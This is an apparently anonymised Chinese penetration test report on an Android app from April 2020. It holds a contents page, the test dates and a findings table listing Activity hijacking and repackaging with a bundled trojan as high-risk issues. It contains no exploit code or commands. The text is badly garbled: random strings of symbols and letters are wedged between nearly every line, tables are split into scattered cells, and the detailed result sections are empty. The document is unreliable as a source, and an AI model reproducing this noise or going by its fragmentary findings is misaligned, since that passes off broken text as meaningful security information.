; z5 R) M' Q1 L9 u# L! h" n! G
( c6 J" I* J% K. {$ J9 R 1 A- F- p- Z% G6 G) d# C
3 O* a9 v3 T, z
, v- j3 N3 a7 g0 L* k& |( v; z$ ]9 J5 {
" D5 d! N' I; }- `4 h# e2 Y" @5 W2 z" i5 I4 O
; p2 @' y+ ]# s' H( u. }0 f, x
}- m7 G+ u2 T8 K% H
3 f. @1 W# X8 n& G! ^* @! q+ H: M4 S7 J# h$ A
文档编号: ; ^, C' w: Z" _8 u
+ j% ?4 \: k* b+ w! A, U4 }7 f+ C; j7 Y
6 U: n/ ^$ q" \
3 p$ ^+ d2 Q! p% x7 P
l. Y0 f( ^7 ]( c# H
6 N" U2 I4 I$ \# @" W4 W# j
. F+ W, g; i2 o& V( H
* W6 D; `% [& @: R
0 k# T {% e1 j. h1 [5 F; Z: U [, k
' y! Q1 c5 o) w3 B
4 F8 O: R6 V( W0 z4 t3 ~9 J; v
6 Z7 {8 y, t0 l! E* W1 |
) \( ^ x- _) M. l4 v) L6 x7 ~* A4 j8 l7 [
& @5 W; ?% l0 O) J" [
5 t9 D. l. ]4 r
. N6 t- c- `/ F+ Z$ F7 q& e" p
6 O) H# B) b0 t! e; f/ k8 _' N 6 l" R* ~8 x1 v+ L
3 V2 x" {2 l4 |* V. e" I
5 f p$ n0 B4 Y1 U. s7 b
; @% h/ |/ x/ ^
; Z4 X+ I) x% t* b; Q$ \ h: E6 `! R7 y ^$ i. D6 w
" m: z) N0 Z, W, p& J
: x' _; W7 Q# u4 Y! ?
6 W( Y- Y! }8 `- U
; D% K: a6 l0 b3 y T2 y- o; O6 P
$ R! _( Q+ _9 n( [
7 V. g0 e8 U3 i
! s% ^% w: S% l7 j4 I
. l! l2 F7 ?! k+ w2 e
) z! d f: U1 m' M/ ]8 t# A; L; X
& s. l2 M" [% }- F7 p9 L, f5 x) E 2 _; q) F# c2 c6 M. z
7 k/ I/ P2 Y8 S y' R 某某某APP渗透测试
2 E8 ~1 |& N4 `6 F
8 Y! ]7 E9 V* p( J% Z; s
! x. M- V% ?: [ a7 z4 {
$ \0 ^# L# O" w" O5 G9 y
; l! ~% H1 }0 {
( u1 {1 v# I7 E2 S/ k) z# e
3 M1 Z, B& h% K f4 {
V- b6 J* s8 S" d
$ h9 S: r7 I$ ~3 G* H& Z
2 a! B5 S3 d& i' e
$ u& O8 i7 Z6 z( F6 D
/ h, S8 l: [1 i$ V& u, h9 I/ T; `/ v
* T% t7 r# h4 ~" D
% q7 B2 X* c' x% b7 N+ ~1 j
$ G/ D9 ]8 k" b4 U
, l0 |' O, y y. W 3 l% n; @0 N. ]0 ?# \! X- A& E
O( t0 a. L1 Y5 z # v- d! J6 o: Y
, \0 I( V6 l! e9 ^6 ^- U
8 x9 N2 L4 y% F) Z
- E! b# T2 w% z/ I9 C
, a+ C( o4 J( X& f- h9 N7 _
" \7 r3 s& [. `# e9 c# i; N! O* c % G! |8 S9 f* V7 k5 B( \
2 I" @0 _0 h' r+ B2 V
$ t3 P! V# u" v+ a
8 ^. I! _: \ p! o
9 U( j% _ M& U# `% _) ~: F# w/ [# }
技 术 报 告 ) T1 l# N/ ?4 |) v5 D9 B' I
) w# o9 f5 S. T
. k& u9 K( a1 p
6 c: H5 B# h/ J9 w( ]9 G
) N- Z9 c, J7 _5 F. }+ i8 x
9 _" D3 P3 O& B8 h; }7 U# U, I 5 ]2 _6 G3 _6 G, o3 Q5 f
4 G% @3 K5 a9 z, A/ X+ C0 w
: W9 {6 R3 h$ t- v* L" Z* h0 V
$ c& g; [; u" T' _' C6 i 4 `& O4 T, q \
! |4 G5 {' [4 h1 g% I
4 o2 E- }1 r& \- t: n
, _9 v% L# N( b9 n5 `
& l: e7 n. I. B% ?4 D) ?
/ x; G: `' a( ~+ N. [ & u& s' V1 [8 A6 y6 c
! V g+ b5 v. Z [' E# U2 x) F( Q, E * @ m4 K7 l) p: ^; Z+ P
9 k. m+ e0 G# f0 U( X8 S
: B1 E ]9 M3 \
& ` F! S+ k1 i8 B+ @8 c6 |
* m4 H4 ?( H/ y$ j, z! _. a" k7 b6 u: ?4 V2 w" Z3 O' j) E- u/ P0 c
" b% a: \. c! J8 v* ?( {& F; T7 x. B* k& P* f4 ]6 [/ L
. s7 a! `3 i' o. e" t6 \4 P* v0 Q% R6 g9 S
6 U* x9 r/ z. ~( r& @: b
' ^5 r( x* \2 {" a( t* W1 O 8 s+ \* V, z( `: Q7 |6 [# ^4 P
" U2 O M8 n6 V3 F' }+ a, n) v5 p [
6 w1 {0 u% L. u6 F6 W. P
7 q$ O/ [1 u7 {6 O$ C
, B0 {( z/ g, R, }. e' P% G- p8 X6 l8 ~3 ?1 Q; C a
6 I; X- U! l, V# \
3 b- K# r' W% I% ?9 {, @
# b/ _$ m$ `4 o4 v, H u. \0 Q1 y1 f' N: l) i1 e
8 b- @4 I% k: v/ r: `1 d! D9 e! M+ t( r1 n% F
' T2 q# f- X* H1 ` V2 A. Q
* o: q: E' x A7 y2 M! R
6 {4 p6 K% y' O1 o. J+ g- I; w0 L. F+ p# q. z( c, r! H
1 | o6 [, M$ ]/ I3 ^4 I! @
" y0 f I; N, G' h
$ R+ u- w6 {* O$ U w' ~# X' I% ]/ n! {/ H
- h" }- C7 y5 v$ q! Q" v
& J9 b; x8 j6 I3 Q" F& N" o 7 T% H7 [8 A) }8 ^1 \% l% R! I7 w- {
# U7 R/ [: l6 U/ f2 m3 w 4 |! Y R; m5 ?+ z
% d& R; i6 q6 j' P1 }7 U5 i- V& |
/ i" \4 B" g: s6 ^
/ `# c7 }6 r* }9 O9 ] - E0 Y6 a* x* j/ E e
, i( b0 @# ]# X+ _ j
; O) I4 V1 v3 I0 H1 a
6 p. U6 I. K5 v
" h( M: K f' X+ z4 B
1 e6 [! P4 F; D4 |% x, b6 U+ z
0 x. `) e9 U# Y7 M, Z- Q
1 y5 \% Y3 k( V' p" E
: Z/ ]" J8 b/ b5 E K" K% b. n1 v* c3 l4 r
2 z& y$ l- J( o/ c% K' C! k! k
7 Y/ \ Q2 v7 H# ^! [% z% ]; s6 ~ : {/ O9 \2 F- |! |+ m
" }$ u* E- j; `/ |0 W
) ]) M1 c U; _, v7 G, P% D0 g7 o/ A/ x" S$ |+ C
1 q1 o; z$ t) G) v f' s1 I# y1 Z
- l$ n! \2 v& E s
1 O2 B3 L+ w, x3 s
/ B+ |0 S- p5 y9 N }. i/ l9 G1 b5 P 1 s' V( d* B% x/ r3 Q
1 E: [2 ^3 w& l
. N" |& @$ Z8 a1 Q# E& c# U
: [8 B( T3 r5 l, T
' ^" P5 q. d5 G4 u5 L: l
% G G6 |! D- c. k 7 X4 H' W, y* ]( t
9 K+ E) g0 ^: |
1 o/ n) g' m+ B: p9 L
& X9 p* @+ n2 z) n, k# O _ 9 B& b ^) @, K# c7 k# g5 ~
* i+ [3 @2 z% m( u: S: A % t0 x1 t% a6 M# X k. A3 z& z5 y! d
s8 b( z+ a1 n! I5 g& W, l
" t9 ~' x7 _8 {# d1 T }+ } \/ h4 A1 q
. v* ~' E8 V$ J1 J3 C) Z1 o % Z* a9 b7 k/ K+ z3 n' y
" _& l d6 `' S3 B& z1 M
/ N) V2 o3 s; J9 }. d* o& D7 w" A, @
, W* X( I% R8 P, ~/ C) W$ _. T
4 a- T+ L* z3 y, ^. t& O1 f) x6 |
9 [; h5 p0 w' g5 W/ C8 f6 T
- k: f4 J g7 e4 T& q! x" W7 M
! C( ]& i0 _, ^
1 R* @8 a7 W" s1 P5 T* q* J& G6 k( i G# c
- A. [8 w% y' ^- P3 K# @* ]
9 P3 [1 j9 H R @& G
5 U! H# ~3 i/ c. V/ \% W- M% c* Q/ w |+ B6 y3 D; l- i. y
8 c- k' t, I- p9 S# S8 z( O: `. [- r
! b$ R1 X' K5 |" \8 |
5 a$ Z! P4 _5 [- U0 X* Z
; s1 `( [4 o+ G+ z
# N- a3 |% U' {& n6 o/ K
# G5 ?/ E7 s& `2 h 二〇二〇年 2 ~: w+ m5 q& h1 a
% Y- y( J5 a% S/ n
9 \! X& b6 n V& v' C! z+ W( V) s+ R) e8 [$ p/ i
9 c7 i9 l8 t2 N7 E* [: p" z+ |2 @1 v2 I8 B6 n8 e1 l7 y0 j
b0 [* c5 j+ F0 o
& p v& `+ x6 c; M
" M/ F% ~9 D- [9 x/ w
0 O3 J8 [- d. s9 f/ }
' E& h9 Z0 u u3 s7 v! g; L7 O" }! A6 }) v" U! ^' A
1 x/ H, L5 b4 J% j
5 t# {' y( ?2 J. }: U* M V! ^) e. T
% v% \( ]4 v+ T6 |* M2 Y! f7 |
0 J2 ~& H) o/ w# {7 g/ k ) x! [! s2 w, x/ m% d
/ ?. `" Y% s5 k. F! c8 o3 v
: J4 V' m7 C/ q( r" v6 `/ p: I* n) w$ o5 }
4 X6 E1 @6 \$ ?) S$ k3 K4 x w
5 a, I2 c; w3 h' x. a# f2 y$ v 目 录
- b- H9 P1 N5 J7 T5 J( o
% F+ k {7 f. R$ u+ H- L
3 h! }! d ~) Q' p: [0 e* j
7 w5 l$ w8 I. u$ _, V8 r' H & w0 l3 p( h$ z. x" v
( \* a. M, V4 w5 ^' T
% W/ `6 E% D9 H) o M
0 H3 L' Y+ l: V% g; p
6 R. h+ C! k8 Y/ s4 S( V& B
- `( c- s5 i2 E" U' X
( e# H* O. ]- v+ M) m. c, m% l
7 V2 v3 F( x0 y4 t
" Z' o4 c8 |+ r3 i" h" i1 U
* k' j U* N) @2 L" j 1 概述... 3
5 T* i# p1 S! d% `& |
( I! b5 G; F2 n7 x0 I% s
) E. J9 e" Q9 I, w4 r q
- r- Q# K. B+ t5 R: ]8 L
) Q }. v5 u# _6 G9 U1 b R
( }/ A9 Z! A, @$ v1 _ 1.2测试时间... 3 O% B k! \" M/ \/ v0 C
) J) B$ K0 Q2 S8 g
( w! {1 ^( X' ?$ s4 g
, d0 _9 p8 b6 S) C1 U
2 Z2 T$ d% V: z2 E: x! x$ H+ R: ~- B& `% o2 R. _. p/ j3 b
1.3测试对象... 3
: }$ ^- C8 z8 A, y
& g1 a$ R; F. L$ t6 p
. M& Z$ C, [) `# C' Y% `
5 M4 v D! I S ) p0 D' K4 |( y8 [9 [. |
) x7 R) b$ ]" q/ ` 1.4测试结果... 3
$ F1 V w/ A; q% m* p: A3 S/ q% a7 `; M* m
1 _( D8 S6 o/ j- S3 k0 d
% T$ F+ a* A5 c8 k8 G D
9 m2 I, }0 e8 n8 \/ g8 c' @' V6 }( g; x# G, F; I6 F; C
2 检测结果... 4 8 K8 \/ S; H1 E+ Q$ j0 i3 [5 n+ t
! O* t/ M" i2 _( B3 T/ y
1 r) T m/ y* F5 s! ^) z- q2 z9 L) d8 e0 L
- z9 U, @9 v' H7 L i# S
0 x3 \8 @' g5 O- l, @ 2.1 某某某... 4 , v0 i3 K# t( s; A4 ?# B( @
) N3 \* B+ A1 [
; H& j# T. A6 H1 b+ U7 D3 D3 g* B4 m5 B4 W3 w# s9 S5 |
$ }9 d8 a" k; W5 z
4 |' H0 S( J; ?6 ]6 V
2.1.1检测目标... 4 8 Z: W, F; X3 ` n" V! Y$ H
4 c( s* `* O. o' q
: v$ ~) ~+ I$ w7 y- u( G6 K
. a/ O+ Y8 b( }( S0 |* `
2 s8 L8 U( u# g5 q$ j
' W( `7 N( c( C( R. I `6 i, C 2.1.2检测结果... 4
L) d9 y$ z9 l' X+ Y# _: u
# L/ l4 S8 L; l1 G
7 {$ g" t& e; e" u3 E# J' r) E
% U% g0 x, V& w' \/ |3 v: F + ^) X ^1 e. ~& H7 E* P
3 Q0 l9 l3 x. p- P- H
2.1.2.1. 4
6 k0 c" V" K# J2 q- p2 }- B/ x# ?% V6 d( Z1 }- Q
9 v2 j4 x2 N: j
w; A3 \- g+ I e9 O" W
0 L. S" S, h( U2 U1 K' f f, p* W i; e: n7 L3 n8 H: l
2.1.2.2. 6 0 P- X6 L4 v6 N' @
9 T/ v4 O8 z( m) ~
# N, u$ P( m( P; t4 |) M7 P6 {3 ^( W
+ |5 m$ C8 n7 B7 G2 i* F" ^ 0 K: o$ N% u6 V1 o# l% G
" [- V* |) q5 m& s( J# ~
7 J% d+ c4 o. _0 X0 i5 P0 V1 S
# f9 t" q2 ]. c R
$ L$ O1 G4 D# z
, s+ g1 ], k# L# M! ], \( D, j5 R7 F+ V$ N$ H' [, l8 \9 Q- X
% }' h; M& H; D+ y9 |
6 [" q4 ~- T2 \* [1 X( ^/ t
" F4 t6 |: U8 U2 |1 u4 i- u m
# z. n6 t [3 K/ P9 g
0 F! @. @% F, R4 H
9 e9 r2 P" [0 @
9 f( u- g% h/ E- D* o1 H
8 F* s4 q) ?) u* a% W0 m9 D& Y5 H4 k3 e8 `( j
1 概述 5 ~ x; V% c4 P2 V; E1 q8 h
( H4 B0 z7 V2 b& Q
0 B. f2 `. n1 f+ O& P1 ?* ^
7 X% @& |3 X3 L$ l# g9 b
( L" v% |" V0 r3 ]3 I+ ^: s! c7 N$ Z7 J' t5 Q
1.2测试时间
1 \8 ]# ^# X0 \3 n7 O. U, q$ o
" \) h9 l' r) s! f) o6 O' o
; _- R* B/ T8 U8 U: r: @% [) f" u
" T4 H3 n6 t# k9 p
6 W; @' V" W( @1 b L r
# q4 \& Y9 h& k" `8 V, g: R+ ^3 ^ " k E# D7 @0 G7 A; \( {& ?9 [
/ I& D o+ b, G9 V+ F% o
# K% y2 m0 r' Z4 {1 N) F" u0 m) S' q1 T
. p) D1 m2 B$ c+ x+ m# d, ^6 x
6 Z, p0 c: h9 m
, y) X4 n# o3 q+ y% q& i* u3 N1 b3 M
渗透测试时间
1 M* i( d' V. `2 g" f# T4 N8 d' j1 j. |$ s; n l% @+ v
0 l( U6 f, L0 ~
- Y. Q& i' L# Q4 W/ G) | | ; U: v. y1 f1 J0 c# t! M
$ \! Z5 r; }# |9 P o( Y4 w1 w
* W5 T2 f& v( R6 |* q
' ^4 V9 Z( m4 N/ O0 ~
" ]) v, w0 ?4 g( p m
2 [! P) B% Z- i- r, S% z 4 A( A5 t; L. [: n
, f% i) I2 B6 D2 `; x * K/ Z% K, p7 u: v( m% T1 @% Q
. c5 V( l. S2 a& V# h
起始时间
; V( f) e- t5 t% h4 ]5 u
$ T6 ]: m! D1 o- W* O5 s
& ^0 c: S# j' f
4 X3 o& g' G" E- T, M | 5 B) C# {3 m N1 c r
$ p4 j6 {; T: E6 A) c
6 A9 x" c$ |; J; I
- h" Q i- w2 |; S1 R
+ ~& [4 @" a/ s
* s4 {, D; x. _2 N7 j9 D- {$ h 2020年4月6日
; ^; k$ Y+ E1 L2 ~, m2 F- ?9 y' n. o( t ~! u9 l9 c, X( s
2 J; i: D* Q* T( n# D
$ X/ E$ d+ a* p9 X ?# M$ {- Z+ U. l
| + o0 N' k- K1 _( |, ?6 l3 m
' @( c; } E O1 k/ n r! w* A
! r% D/ _5 ]- N4 V
7 f& R% j/ ^% \ W ' j6 U+ s, `2 v- I, ~, L/ q8 b
/ P' S" h0 S2 d- C; f( A
" q+ {+ ]/ ]9 {/ r! a4 L: I* o1 d' m, U3 p( C2 H) L
; w# ?" G' D; t
3 D+ r6 m$ E k0 v( H/ R4 G
结束时间 8 R6 z! ?/ J F |: t+ L
# S* c! i4 r5 v4 d+ o+ F+ m4 B
, J( A3 u F) ?. f
. B' D' k- t3 E' q& ? M9 k, u/ w |
9 h9 A$ v2 A" W+ S! p# ]5 [2 n" {9 V5 u! h4 B& v' w
$ [4 }8 n) q5 ]7 Y
9 a2 Z" U! r9 g$ J # R0 Y* f* w' y) d
7 Z3 u" R. d r2 {) J; o 2020年4月9日
# C2 Q4 Z) T c# u' u4 n1 `4 s; b5 E) {$ P+ d
, Q c( X f$ ~* r
9 Q' o7 c% _/ D5 m8 g1 e |
) p* P' d& Z9 G7 Y) T% k( v. H: C1 m6 e" J6 b/ K( V* q8 u
) D0 Q, Z+ x, V2 i8 h
2 ^7 ]1 t8 F4 o S
* R6 q" b! y2 u8 P2 @3 e' I1 i' |
0 N. P9 c5 f5 [* E
! ^, E0 H6 x$ b) ?6 [; I7 Y; A
( S$ D( [1 ^- y' z% p0 t* g2 X/ S+ y ( G' H n4 X% Z4 G2 d; q
. |! B; ]( o( f( n 1.3测试对象 ) Z1 V, X/ x C; p
8 @& G3 z( a2 K' a
* F" B% |, s- @7 j( k& G! m% |, h2 q8 G$ L0 J! N! r ^9 p+ f
' F- y2 y2 T5 r3 ~2 v7 |6 H
/ I2 @3 e! h1 W/ m; f3 V! N8 N: k, o 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
6 x, n( J) p+ {4 [$ k- s( [) w& x1 B& b8 R2 E1 d, b5 p' j
" _% t# e. w- {9 @$ d- z8 P9 d J1 \- n u+ `: q# c* {) x
]9 K: K$ g6 D* r9 W
+ C) h( e H8 J+ N" b 表1-1 检测对象
* M( a# o; i7 d7 y/ p
0 C( O) X; R( }5 I7 `2 x! w
) M! h ]2 z: o* O. b6 S! h& I }) M4 r, h
+ T/ b& r% x6 F3 x
$ n8 R% x; y' u) {1 I 2 r' }0 D9 p9 }& _1 P
. u8 E+ | R( p9 y: @
, v8 L' [2 H' V! ^. q
0 G) | Z' o# r9 k" e/ i3 w
: S) z5 N4 _$ ^3 U& e! M0 }1 G/ r) Z3 A, W* S% K1 q
* J# I7 w+ v; Y6 J t0 ~
: I) l2 T$ {! E1 J9 J7 @$ b5 v+ p 序号 : i& `1 ?$ E+ |; w2 \" [
: s8 r+ E. f! p9 G5 U' A. G
* i! D% D6 z" g) w5 I ]( M/ |7 u5 {# B
|
3 Q. b1 q# }! h1 n$ a! |- o4 `* u3 @6 ~' Y+ I% H' Z
- T2 F3 T0 J! l1 f
t- B C& y N9 p" e: t
6 A! L* i! S1 f/ e2 ~
) T* |& I, Z2 u# z- O) A! z
测试对象 % j) J9 `! K9 P2 T: [4 E+ k$ W
# y) N) G% w( K4 n6 e* _3 T7 e
; G* D3 {) z, e% `. b6 P# v% W) J
| " ~7 H" U/ s# t% z9 G# S& y
# k! J) R& P" b3 x& @, ?+ |0 w
: Z. P" j% h, I/ `- `" M o
+ ?' _# V3 O' d8 H+ B
: @1 F1 b0 C3 r+ @, f$ q2 e) a( B q
测试地址
+ x$ U+ ^: T; c; t @( t/ y9 S
4 b7 N5 g( |6 D7 k% K4 I$ h+ D
/ X3 S- H3 t- B N8 M' K7 U) Z8 T; g) X D. I8 {- m: V! j
| : E8 u* k( r6 a) A' C
; }$ r# Y3 K5 s7 Y& \4 D$ a
, c# V# O; \$ n" n" H V0 V7 h4 `0 ]( U, t, B$ r% m% c
|% T5 @: o9 [' R
a% ~5 F9 ^" R; c 安全漏洞 / [! N2 C6 P. D) S1 u5 e+ T3 s4 X
" U6 A9 f) Z7 J: m7 o5 v% P1 V7 f1 a
& W9 C' I& K1 `: Z* U$ r* U; n# e
3 x) I& O, Q/ q/ y5 t& D1 O" } |
* O2 C! o; z6 E! [. A2 ]* ]
# [+ `* G1 C- i( P
8 {) `; @* W# b3 M H x
" n: V7 [. }2 k u4 i: P7 m' X
& _$ P$ b3 R4 o1 }. n, b, D6 B! h3 T" e; B6 g
& L& A( t- X+ B0 b, f8 K* y! Y
6 F' b5 j7 X$ S' H9 k
' E& i# ^; s6 F' E( o% R! L
: e6 q' ?1 B4 u' t 1 ) Y# A9 n: c! k+ f0 M$ ~( ^
3 W9 K/ J+ }( {5 X1 w8 `" ~6 v
1 T5 \ M8 U% O3 \' m" z; m; i3 A
4 I* }- F$ _ {$ u- z |
6 L0 H$ u& H1 u" [. h% a0 |4 Y& C N9 q3 _' }- s2 j" F2 X& l
' C6 d% @3 q4 F5 d, t8 k
' w! d3 U, B3 r; x# w: q
' N, h* ?! S8 f; {0 f
. b* v5 c' Q C; u: j
某某某安卓APP
$ T6 R7 {2 o9 @9 ^# W8 j) S$ [, E5 f6 l4 D4 U# [) a# _
5 k0 H7 |: i5 F- v. t
0 z# m, k* {- y$ j' T# E0 E+ @ |
5 w$ b+ Y. e0 c+ P( O5 U( X& z0 b# _- @. `1 r/ N, k- C$ o6 N
) ]) q) u. f# T! a) {
; L5 P7 n" T( `+ p# L
( _; p- m4 H; E3 _) o8 \" f5 u
; J, s; a0 n/ s) {$ N, ?" M ; l/ ~8 _6 {" Y$ U1 q/ }
4 [" D4 `% i/ I% Z' i% Z% Y
# y* ~1 }: G$ y
3 W: m6 |* M) h. H, i- `) Y3 z( }, u
| 6 g; I5 V, z# ]
* u; S) u5 o# `5 V* o# z
* q1 K6 h8 ^/ K
& }2 B, L/ K+ ?1 Y; s/ k
7 x- P* k) Y2 P6 u0 r, b; P$ z
( Y V! K* g% B" B 2
4 t6 d, y) Y" U2 r* S* L
^$ Y9 C7 T- T6 [. h# D0 ^+ Y
9 u* B1 F' W9 e; y; Z! k3 ?- n
" K6 | R: |& Q3 } | 8 g- k1 O. f) z/ ^" m
3 o' i0 Y# R, }1 i, i3 E
9 Z8 F3 t* F4 i4 Y4 S+ ?5 e# O6 T5 Y/ p" `
, m1 H# ]) M; p% |
7 c s7 K: J. j2 e
6 |7 k3 ]5 N5 @! M5 N: b1 D$ X% G; O& _) a! K4 W9 R- w3 p& q, G: B3 f
: W1 u, N; k3 G* G0 g* u
8 Z8 F0 A, X- _* J
1.4测试结果
1 V b. M. s! T4 w$ z: M4 M2 M1 y: n& f/ |& T8 y _4 ^
7 W: V0 S L6 w& G4 N! e
2 y& P( z" A2 l7 V# m( I
% i+ w' G; K3 w% V% K
) @% v6 p! r: `2 T* p 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
9 N4 \0 h) \, k& S
2 ^' e6 P% t: h0 Z Z% {. l k
( P5 e F! r* H5 {1 D1 y
5 p" Q: O% n. _! }6 c7 p
. S5 h+ d6 C' ~2 |" C" d/ R! n6 y8 E( z; G% R9 z
5 M8 `$ K0 a+ s9 y+ J; {* |
( c) `5 d# @# @
* E* _4 h2 h3 b- A
! ], |$ A7 g5 z5 i: p2 U
6 `0 U. @% p* `& m O. L& U2 r' H7 k
8 Y, g+ n# `3 K _$ n ! d9 j8 P; E, ^2 |# I6 ~7 @
$ N2 ]6 l4 m9 s! }: I ( N8 e' D) Y) p/ e+ t
; u' s5 T. p4 u, N4 D- b , e' H% X, r: p0 Y, G2 v
* C2 R3 e4 N: S6 F' j2 _
t6 k; P: U0 u# a$ x# r
6 H: a# _9 D) N7 G3 R2 F
' ]. Y$ B0 X+ {; Y) \" M3 n6 R4 t8 m O1 Z" m4 g$ c
序号
$ P# ? _! J6 a) s/ d9 {5 R) Y9 k& @* t. W: c- L% C
* I! k' { o4 y
! {. _+ ~& m u1 S( q1 J1 w
| + X" `& } w+ {1 S5 F! @; W
2 \; h3 W" U" n. j+ r
* j: U/ q1 }4 N% L; J# E7 N
4 k+ Q! T s6 \* W 2 {8 y% K/ }1 M
9 l+ T2 J2 Z9 {7 {2 J9 P 系统名称
( K% U" k& d4 [0 M0 a) Q+ p( e* q1 M# P! _& p7 C
; |, M; W1 ` v, I* A+ d* v9 a& |" l7 i/ O' F# Z5 _( Q
| 7 U) s, v+ ^2 H: c2 f9 j, P
$ J+ \' u8 I; i. Y
# m! O: x$ F9 V( ]0 s# o
$ h$ i' \4 T/ \& L& q4 }: O# Z# k . F7 l+ t5 V" h( [" f+ k4 ?
. U/ m3 I) h* D( `" h 漏洞名称 - y9 f2 Z4 g9 _9 `
0 f5 N6 c9 i, [. k$ @ {- [6 B! a9 W) _9 z: ]6 J
# A+ ]" o# A; m& W$ W
|
" D0 t" M% F, B
* ~3 ~; K% G3 Y$ V$ q4 I ) T. `9 }5 q% S
/ a V8 z; z3 P9 e a8 F
3 t0 _3 J7 X2 A2 o& G2 L- r
# u% s& W9 H; F, @
漏洞危害
" m4 v) y0 @* g) v" w
- l# \) ~$ F# d
! `- @4 Y t3 `6 @
7 ~' r8 c4 w- I) v* ^: }/ e' u | - i! Y: P$ j4 h+ d+ h5 \7 L
- E z4 h1 y3 d1 V0 r* D) g
9 [0 ^* p, I* s6 v- u$ Q
6 J o$ V; s& M$ d, t) y4 @
, f; B6 G+ c: Z8 c
% \1 Z" T2 _# \: V
修复结果
' O2 l9 v1 q0 `5 x% i% g8 l& e+ J1 e e# V4 B; _0 ~
) O' E4 F$ _5 n2 d0 L8 b! b" W1 \$ d" I4 R8 b2 [
| , l+ x! n* w4 w
# g, s) B$ ?, }- }' J7 U
, t. ~" U, _' O/ T" u
U4 a! |" I* B! W7 ~3 E+ m
9 q# o6 y4 a4 n( r3 J& ^
# ]! l; c) \5 |% I 4 c+ O; k7 a3 B; r5 \4 I
* \% O0 V, z( z# \& F
5 Z% `: r& W4 {# f+ i1 ]" g$ w" w6 p0 N3 ^* `
1 3 B8 {0 }- n$ B
6 |$ Y+ ~4 `. p5 B! L2 J$ h
2 y* Q6 T" l; {) A$ J3 D
3 q' k, ?4 A+ i- q. _5 ?( j! v |
, b# I* _, K0 O3 i' F0 x6 i
! m* k0 d7 D( t. c1 x
# X0 k0 [. V# i! n
) j* O4 U( t% S
3 ?& _. N; p c
6 ?$ z$ ^) V. M' }* S2 D 某某某某某某APP
+ u f/ ?6 _9 z) \6 d2 Q7 ?
0 W4 {: y U* S/ U, h4 V
& l4 i4 e1 E% k v% l' A/ V
- N$ H0 d, _' A | . R# q) X- K( u' t# s* I% L
' T% h2 B, B1 m' y+ y: t 5 D# H. V+ g3 m" D) `/ ?
5 b! C+ t0 n1 s0 J7 Q5 p: J 9 H( s2 u& h- d8 _! g, p+ ]" J* K* g
2 _1 ^4 }6 ~- U. b
Activity 劫持
' U0 W7 G2 E; n" Q# {9 g& @$ W( n- q, `6 Z7 K! g5 F6 Q0 x
. w; j* q) _) P* X3 _! D- d5 b. }0 g {7 a. T. i8 z/ h7 I4 M+ W
- o: _( i2 m+ B# X3 `: n& D7 G2 v: e v# _
0 I6 ^3 s% T: K2 u' j4 l& X, X! \1 n3 g
0 Y& E1 Q% B1 Z/ T: k0 ?9 I3 P7 u; g$ t/ p8 s, M+ f
| 0 O9 d A: S6 q2 f4 o: w% E8 b0 o
d2 d$ Z- s# n2 p( c4 M
9 [2 x) H9 N2 f5 y" h0 C
8 l4 P& l8 s4 L1 y: y- h/ d; w: O, h8 i0 G # z8 R* D5 F3 s( Z% S9 F
+ {$ L1 Q2 q0 n* ?
高 " n+ r' v# e/ ^# M& J% P
! Q2 \; C6 v3 I# M$ E( [ i
& r8 o3 a* g: S" I7 }
: N9 o& z( [+ s* [( t* ^7 [7 j. v1 B |
1 ]$ i5 G2 {! }- t/ ^3 t6 K" x& b3 O7 D) d$ R0 L
! o/ o& A) m. n9 W
$ r* k4 N# V9 \& |1 h4 ~
* q8 k( ^, G6 i( q/ }
5 z# T# f _) I* k, s! Q: H & r+ C4 h) ~3 R% X
/ f1 u& u( h6 P; x" u
( v6 ]# }9 u9 O& o2 `. H1 i9 ~
/ x0 W3 Q- z# i( r- E5 r6 ^ | # t9 ?8 p, D9 d$ `' n
' |' }: V6 O& ^% F7 i
. U4 y. p) s( h; e
! p7 d. x2 W2 N$ R
3 {6 { E- H2 X8 ]1 d
% s+ d7 V' l/ @: r+ W 4 T) ^) a- D) D; d& `, b$ c0 s; v/ c
9 e1 W! n4 |+ B; b4 s& Z5 v
8 _2 A- H( _5 C# h5 ^' p9 ~7 z$ A. i2 M0 Z, j# N6 j
2
) h) D. W3 J9 Q$ ]1 @' v
2 e/ G* v t+ S1 G- X / g k; O, _* l' Q* J. Z8 \# y7 |
4 I4 g: a$ A* [. Z! _% B
| & \ s0 u9 I4 I! G5 {
G' X5 {; M3 n4 f 6 E9 J1 {3 V) T
% H' S( E" Y ~, ?, U( i8 f
' k: v) [) R0 D& q2 S$ d
1 K" S5 l" s* z9 _# ~1 U 某某某某某某APP ! `/ m5 `, Y) M$ B1 J9 A
8 Z& e S% y' |# S6 @; n, E" A
' R" V* A% Y w2 z5 ^: G& y
, f/ `+ [% x4 ~. @4 K# Y% T |
5 H. S B I7 |7 C# K2 M+ n- Z3 `" S) P& T) G/ l9 A7 @
" Y# c: ]$ ~- R) {/ n& K
% M5 _- N8 G. l* l7 e! D
9 K3 G3 m4 f9 r) Q. `/ r C0 i8 r& ?6 V9 H/ y
反编译二次打包捆绑木马、篡改APP代码
; R. Q( ~# H+ y6 `* p
7 ~) w" ^. C. ] 4 R! \% b" O$ {9 I
; h# K& s3 a+ a {
| + l" W' ] r' V( O; p( z7 ~! q
. N( f k+ i" b ) D) v3 I& Z! h3 ^
; K+ p; G: g% \+ F . N, a$ R8 v- ~) E c/ Y0 i
; ]# S0 t1 q3 z
高
e1 M& U! V) S9 f5 \: b
/ Q" r: V4 G" Y' a# m / ^2 G7 p# |9 d# ^
# F; Q7 z7 W3 F" g; j
| 1 Q$ \! n" m5 K: K1 x7 E
C; X- {; q9 ^7 ]' ]% Y- p
) Q( `1 m, h3 q" [( D' {7 W6 ?8 \' I6 b- `
! X0 O& y, `# e) z/ F) J% f) m
: [0 ~2 @1 _2 t7 N 5 v/ h9 ~ V( h5 c8 B3 F9 v" G
3 u- W) N4 v. S2 S3 A
- k; f; X5 z( U& F: f3 {4 @
9 B, C7 z2 w" X5 X+ [, h1 ?: B | 7 a. `4 a1 S- k* R
% s4 v2 K4 [' l: g
S8 f# h( U- R4 k+ Z" o: n
5 B' n8 @8 U$ q; N) a) Y' ] 4 n) e4 t, u9 W! J+ l2 k8 e
; N/ t9 l( a& ]% n
: y/ d4 b( {- l7 f0 O0 J! b1 @3 L3 O
) [" z) c4 L" X! K
0 g% L7 b4 p4 X, N) ?( W. ?" C' t$ ]1 I( V9 p4 }
, S, R/ m y4 Y, A1 }
- T3 d8 H u) o% {6 u
